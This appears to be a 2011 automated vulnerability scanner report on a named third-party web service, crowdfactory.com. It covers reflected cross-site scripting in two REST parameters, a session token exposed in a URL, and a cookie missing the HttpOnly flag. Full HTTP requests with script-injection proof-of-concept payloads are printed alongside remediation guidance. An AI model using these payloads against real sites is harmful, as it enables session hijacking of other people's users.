XSS, Cross Site Scripting, CWE-79, CAPEC-86, b2c-wsinsight.crowdfactory.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:53:41 CST 2011.

The DORK Report

1. Cross-site scripting (reflected)

1.1. http://b2c-wsinsight.crowdfactory.com/rest/v1/entity/get [entity parameter]

1.2. http://b2c-wsinsight.crowdfactory.com/rest/v1/entity/get [rating parameter]

2. Session token in URL

3. Cookie without HttpOnly flag set

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/rest/v1/entity/get [entity parameter]
/rest/v1/entity/get [rating parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://b2c-wsinsight.crowdfactory.com/rest/v1/entity/get [entity parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b2c-wsinsight.crowdfactory.com
Path:	/rest/v1/entity/get

Issue detail

The value of the entity request parameter is copied into the HTML document as plain text between tags. The payload b3e42<script>alert(1)</script>8ff3546a4a569f617 was submitted in the entity parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /rest/v1/entity/get?rating=Widget008&cflog_widgetname=share_tw&entity=116218069b3e42<script>alert(1)</script>8ff3546a4a569f617&subscriber=40dda4cf-6088-48c3-b939-5c834c21a08e&product=9d936ba0-8642-4e98-9e21-ca6019d307ea&topcommunity=3646&cflog_unk=D7W12J&html_escape=true HTTP/1.1
Host: b2c-wsinsight.crowdfactory.com
Proxy-Connection: keep-alive
Referer: http://b2c-wsinsight.crowdfactory.com/xd/2.6.1/xd_host.html
Origin: http://b2c-wsinsight.crowdfactory.com
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:46:01 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=24759C9CAB8B136206F86DA6EAC8081A.nodesaturnapp1; Path=/
Content-Length: 175
Content-Type: application/json;charset=UTF-8

{"error_code": 19,"error_str": "Unable to find external entity ","error_detail": "'entity' 116218069b3e42<script>alert(1)</script>8ff3546a4a569f617 is unknown","warnings": []}

1.2. http://b2c-wsinsight.crowdfactory.com/rest/v1/entity/get [rating parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://b2c-wsinsight.crowdfactory.com
Path:	/rest/v1/entity/get

Issue detail

The value of the rating request parameter is copied into the HTML document as plain text between tags. The payload bfd41<script>alert(1)</script>d2d3ff23176e9356c was submitted in the rating parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /rest/v1/entity/get?rating=Widget008bfd41<script>alert(1)</script>d2d3ff23176e9356c&cflog_widgetname=share_tw&entity=116218069&subscriber=40dda4cf-6088-48c3-b939-5c834c21a08e&product=9d936ba0-8642-4e98-9e21-ca6019d307ea&topcommunity=3646&cflog_unk=D7W12J&html_escape=true HTTP/1.1
Host: b2c-wsinsight.crowdfactory.com
Proxy-Connection: keep-alive
Referer: http://b2c-wsinsight.crowdfactory.com/xd/2.6.1/xd_host.html
Origin: http://b2c-wsinsight.crowdfactory.com
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:44:47 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=EF98A3EF01AC70BD2042B4EA3EBD8797.nodesaturnapp1; Path=/
Content-Length: 164
Content-Type: application/json;charset=UTF-8

{"error_code": 98,"error_str": "Invalid parameter(s)","error_detail": "'rating' Widget008bfd41<script>alert(1)</script>d2d3ff23176e9356c is invalid","warnings": []}

2. Session token in URL previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://b2c-wsinsight.crowdfactory.com
Path:	/tracker/track.gif

Issue detail

The URL in the request appears to contain a session token within the query string:

http://b2c-wsinsight.crowdfactory.com/tracker/track.gif?entity=116218069&widgetname=share_tw&cf_eventid=View&cachebust=0.3082694476470351&subscriber=40dda4cf-6088-48c3-b939-5c834c21a08e&product=9d936ba0-8642-4e98-9e21-ca6019d307ea&topcommunity=3646&cflog_unk=D7W12J&html_escape=true&session=TELDF

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /tracker/track.gif?entity=116218069&widgetname=share_tw&cf_eventid=View&cachebust=0.3082694476470351&subscriber=40dda4cf-6088-48c3-b939-5c834c21a08e&product=9d936ba0-8642-4e98-9e21-ca6019d307ea&topcommunity=3646&cflog_unk=D7W12J&html_escape=true&session=TELDF HTTP/1.1
Host: b2c-wsinsight.crowdfactory.com
Proxy-Connection: keep-alive
Referer: http://www.prnewswire.com/news-releases/akamai-unveils-new-cloud-defense-solutions-designed-to-protect-enterprises-from-sophisticated-web-attacks-116218069.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:42:42 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 05 Apr 2010 22:22:58 GMT
ETag: "40008a-2a-48384c56cb480"
Accept-Ranges: bytes
Content-Length: 42
Content-Type: image/gif

GIF89a.............!.......,...........D.;

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Low
Confidence:	Firm
Host:	http://b2c-wsinsight.crowdfactory.com
Path:	/rest/v1/entity/get

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=C7C7C4D57DF6B5C51996F135EA4D582A.nodesaturnapp1; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

POST /rest/v1/entity/get HTTP/1.1
Host: b2c-wsinsight.crowdfactory.com
Proxy-Connection: keep-alive
Referer: http://b2c-wsinsight.crowdfactory.com/xd/2.6.1/xd_host.html
Origin: http://b2c-wsinsight.crowdfactory.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 204

rating=Widget007&cflog_widgetname=share_fb&entity=116218069&subscriber=40dda4cf-6088-48c3-b939-5c834c21a08e&product=9d936ba0-8642-4e98-9e21-ca6019d307ea&topcommunity=3646&cflog_unk=D7W12J&html_escape=
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:42:43 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=C7C7C4D57DF6B5C51996F135EA4D582A.nodesaturnapp1; Path=/
Content-Length: 1305
Content-Type: application/json;charset=UTF-8

{"ExternalEntity": {"uid": "116218069","category": 0,"title": " Akamai Unveils New Cloud Defense Solutions Designed to Protect Enterprises from Sophisticated... -- SAN FRANCISCO, Feb. 15, 2011 /PRNews
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:53:41 CST 2011.